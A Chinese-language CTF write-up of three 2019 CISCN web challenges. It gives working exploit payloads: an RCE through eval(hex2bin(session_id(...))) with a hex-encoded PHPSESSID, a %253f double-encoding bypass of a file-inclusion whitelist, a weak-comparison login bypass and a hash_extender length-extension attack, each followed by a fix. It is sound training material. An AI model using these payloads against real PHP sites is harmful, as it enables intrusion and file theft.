1. 题目是在Fix It环境拷下来的,写writeup时的环境是自己搭的
  2. 有些题目忘记拷贝数据库,各位大佬凑活看吧
  3. 题目的GitHub仓库:https://github.com/NS-Sp4ce/2019-Ciscn-Southern-China-Web

Web1

Break It

打开页面如下

1562850051215

按照惯例Ctrl+U看源代码,发现被注释的<!-- <p class="forgot"><a id="iforget" href="forgetpassword.php">Forgot your password?</a></p>-->

1562850150394

字面意思是重置密码的页面,访问试试

1562850199817

由于不知道用户名,抓包随便输入个用户名看看返回的信息

1562850323023

OK,找个用户名字典爆破下

1562850802531

设置下

1562850369376

爆破出admin123这个用户存在

1562850867761

输入后,跳转到下一个页面

1562850892755

4位验证码爆破走起

Burpsuite

1562850976886

设置

1562850969198

走起,然后踩了第一个坑

1562851061799

验证码全部错误,Ctrl+U看了下源代码

1562851107127

哦豁,设置base64编码

1562851144415

继续爆破,时间不长出现重置密码的信息

1562851197988

用户名admin123,密码f4h1l0t0j2g5b1m0a0m0a3d2d0,登上去看看

1562851268627

提示phpmyadmin,进去看看

打开后发现

1562854196288

这时候比赛方放出hint,备份文件,然后,一顿扫

1562854391609

扫出备份文件

1562854426155

提示

Why not try code breaking?
//mDjNaF.php

1562854458724

<?php 

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

接下来的步骤在赛后参考了2018RCTF的原题r-cursivehttps://delcoding.github.io/2018/05/rctf-web-writeup1/#r-cursive)

根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是x(y(z()))此类的调用形式。所以从code参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header头来进行处理。

PHP中可以使用get_headers ,getallheaders获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()来获取。又因为返回的是数组,我们可以使用implode()来将数组转换成字符串。所以我们初步构造:implode(getallheaders())。但如果仅是这样还不能运行我们的代码,因为implode()返回的已经是字符串了,"implode()"(注意"),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));来进行执行。

然后又发现cookie中的PHPSESSID可控,PHPsession_id() 函数可以获取 PHPSESSID,如果没有开启 session 可以使用 session_start() 函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin() 函数转换,尝试构造请求包如下

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2754455354273b
Host: 192.168.2.227:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1562895846737

这样就可以构造RCE了

Payload:

GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b

6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293bHex解码后为echo file_get_contents("/flag");

Fix it

修改mDjNaF.php文件,注释掉eval函数。

web7

Break it

打开题目

1563019511983

查看下源代码

1563019528128

注释掉了一个名为sourcephp文件,访问下

1563019564987

<?php
class kind
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","aa"=>"aa.php"];//白名单
if (! isset($page) || !is_string($page)) {//判断是否传递了page参数
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//判断page是否在白名单里
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);//进行问号截取
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//出问题的代码
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& kind::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];//文件包含
exit;
} else {
echo "<h>Look carefully and you will find the answer.</h><br>";
}
?>

源代码显示是文件包含类型的,想要利用需要满足3个条件

  1. file参数不为空
  2. file参数是字符串
  3. 通过kind类中的checkFile方法

所以用%253f(二次URL解码后是?)就可以绕过了,PAYLOAD:file=source.php%253f/../flag.php

1563020120782

查看源代码是

1563020138445


<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

如果postpwd等于当前的时间的时间戳,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,所以直接post空的pwd过去就可以了(这是fix后的)

1563020450719

Fix it

  1. 可参考phpmyadmin官方的修复方式
  2. die('Flag:'.$flag);->die('Flag:NOPE');

web10

Break it

打开是个卫星控制系统,要日卫星?

1563443581056

查看下robots.txt

1563443609590

访问看看

1563443626224

登录时抓包,发现有段hash_key

1563443679265

猜测是md5后的值,探测下目录

1563443766952

发现了License.txt

访问后发现了部分源代码

1563443803943


$flag = "flag{xxxxxx_just_a_sample_xxxxxxx}";
$bisskey = "xxxxxxxxx_just_a_sample_xxxxxxx"; // To remember Easily, 10 chars allowed.

$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);


if (!empty($_COOKIE["MyIdentity"])) {
if (urldecode($username) === "admin123" && urldecode($password) != "admin123") {
if ($_COOKIE["MyIdentity"] === md5($bisskey . urldecode($username .$password))) {
echo "Great! You win!\n";
echo ("<!-- Y0ur f!4g 1s here ". $flag . "-->");
}
else {
die ("I don't konw what you say!");
}
}
else {
die ("I don't konw what you say!");
}
}

setcookie("hash_key", md5($bisskey . urldecode("admin123" . "admin123")), time() + (60 * 60 * 24 * 7));//hashkey算法

其中hash_key算法为$bisskey(长度10的字符串)与url解码后的admin123admin123相连接后进行md5加密,爆破是不可能爆破了,查阅资料后发现可以用哈希扩展攻击,构造payload:

root@kali:~/hash_extender# ./hash_extender --data admin123admin123 --secret 10 --append ciscn --signature e7187cb49ce6d5958d279284af968254 --format md5
Type: md5
Secret length: 10
New signature: c862a00ecfd776d1907b30da639431e7
New string: 61646d696e31323361646d696e313233800000000000000000000000000000000000000000000000000000000000d000000000000000636973636e

替换MyIdentifypassword后即可获得flag

1563445111368

Fix it

改掉bisskey的值